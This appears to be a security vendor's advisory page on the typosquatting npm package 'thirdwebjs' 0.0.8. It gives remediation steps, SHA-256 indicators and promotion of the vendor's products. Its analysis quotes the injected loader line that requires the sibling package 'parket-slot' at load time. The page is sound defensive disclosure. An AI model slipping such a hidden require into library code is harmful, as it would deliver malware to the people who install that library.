Which versions of thirdwebjs are malicious?

The following npm versions of thirdwebjs are flagged malicious: 0.0.8. Treat any of these as compromised.

How do I remediate thirdwebjs if I installed it?

thirdwebjs is a typosquat — you almost certainly intended a legitimately-named package. Remove thirdwebjs, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.

I already installed thirdwebjs — how do I know if it already compromised me?

If thirdwebjs was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is thirdwebjs part of a known attack campaign?

Yes — thirdwebjs is associated with the IN-MAL-2026-007353, GHSA-8jr3-m3cj-m436 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find thirdwebjs across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for thirdwebjs (version 0.0.8). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging thirdwebjs across your stack and pipelines.

Malicious package

thirdwebjsnpm

thirdwebjs is a confirmed malicious npm package (MAL-2026-6344) that typosquats a legitimate package to trick installs (malicious version 0.0.8). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in thirdwebjs (npm)

MAL-2026-6344

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall thirdwebjs

What this malware does

Package name impersonates the well-known 'thirdweb' brand but ships a verbatim copy of MikeMcl's big.js arithmetic library with an injected loader. Both entrypoints declared in package.json exports (big.js line 606 and big.mjs line 606) contain try { const doc = require("parket-slot"); doc.from_str().then(e => {}).catch(e => {}) } catch (error) {} — a require() that fires at library-load time and hands execution to the sibling package 'parket-slot'. package.json line 58 also declares "log-taker": "^0.0.9" as a runtime dependency, pulling a second attacker-controlled sibling into the installer's tree. The legitimate big.js source contains no such require. Any consumer that installs and requires/imports thirdwebjs in either CommonJS or ESM auto-executes code from parket-slot, with log-taker additionally resolved into node_modules at install time. This is a brand-impersonation dropper using sibling packages as the payload delivery channel.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Malicious versions

1 flagged

0.0.8

Indicators of compromise (SHA-256)

c8822953aa63581fd4fb3ea5a1511d646a56f6629e228257b37eb904efdee8e3

cf2b098b4554305b8488b5801ccc4a632a963720debc66623a7ac0f452d8a17c

Detection & response playbook

Typosquat

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for thirdwebjs (version 0.0.8). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging thirdwebjs across your stack and pipelines.
If you installed it — respond
thirdwebjs is a typosquat — you almost certainly intended a legitimately-named package. Remove thirdwebjs, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.
Did it already run?
If thirdwebjs was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks thirdwebjs before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. thirdwebjs on npm has been identified as a malicious package (version 0.0.8 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-007353GHSA-8jr3-m3cj-m436

References

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks thirdwebjs-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Malware detection Runtime egress monitoring

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